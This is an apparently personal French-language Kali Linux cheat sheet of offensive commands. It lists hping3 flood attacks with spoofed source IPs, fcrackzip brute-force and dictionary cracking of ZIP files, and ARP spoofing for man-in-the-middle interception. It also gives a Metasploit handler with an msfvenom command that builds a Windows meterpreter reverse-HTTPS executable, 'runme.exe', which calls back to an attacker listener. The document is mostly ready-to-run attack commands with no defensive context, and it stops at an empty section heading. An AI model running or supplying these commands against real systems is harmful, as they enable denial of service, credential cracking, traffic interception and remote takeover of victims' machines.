# KaliLinux  -  Commandes utiles

### <span style="text-decoration:underline;color:rgb(35,111,161);">**I. DDoS attack**</span>

Flood ICMP paquets avec ip aléatoire :

```bash
hping3 -1 --flood --rand-source <hostip>
```

Flood UDP paquets avec ip aléatoire :

```bash
hping3 -2 --flood --rand-source <hostip>
```

Flood TCP Syn paquets avec ip aléatoire :

```bash
hping3 -S --flood --rand-source <hostip>
```

---

### <span style="text-decoration:underline;color:rgb(35,111,161);">**III. Password Attack**</span>

Cracker un zip (brute force):

```bash
#Command
fcrackzip -u -b </path/to/zip>

#Exemple
fcrackzip -u -b /home/kali/Documents/monzip.zip
```

Craquer un zip (dictionnaire):

```bash
#Command
fcrackzip -u -D -p </path/to/dictionary> </path/to/zip>

#Exemple
fcrackzip -u -D -p /home/kali/testdict.txt /home/kali/Documents/monzip.zip
```

---

---

### <span style="text-decoration:underline;color:rgb(35,111,161);">**V. Man in the Middle**</span>

Récupérer les infos de tables arp :

```
arp -a
```

activer l'ip forwarding :

```
sysctl -w net.ipv4.ip_forward=1
```

lancer le spoofing :

```
arpspoof -i <interfaceName> -t <ip victime> <ip routeur>
```

Utiliser une page web middle :

```
setoolkit
```

---

exploit windows meterpreter server :

```
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.11.0.5
set LPORT 8443
run
```

Generate client :

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe
```

---

### <span style="text-decoration:underline;color:rgb(35,111,161);">**VI. Scan web**</span>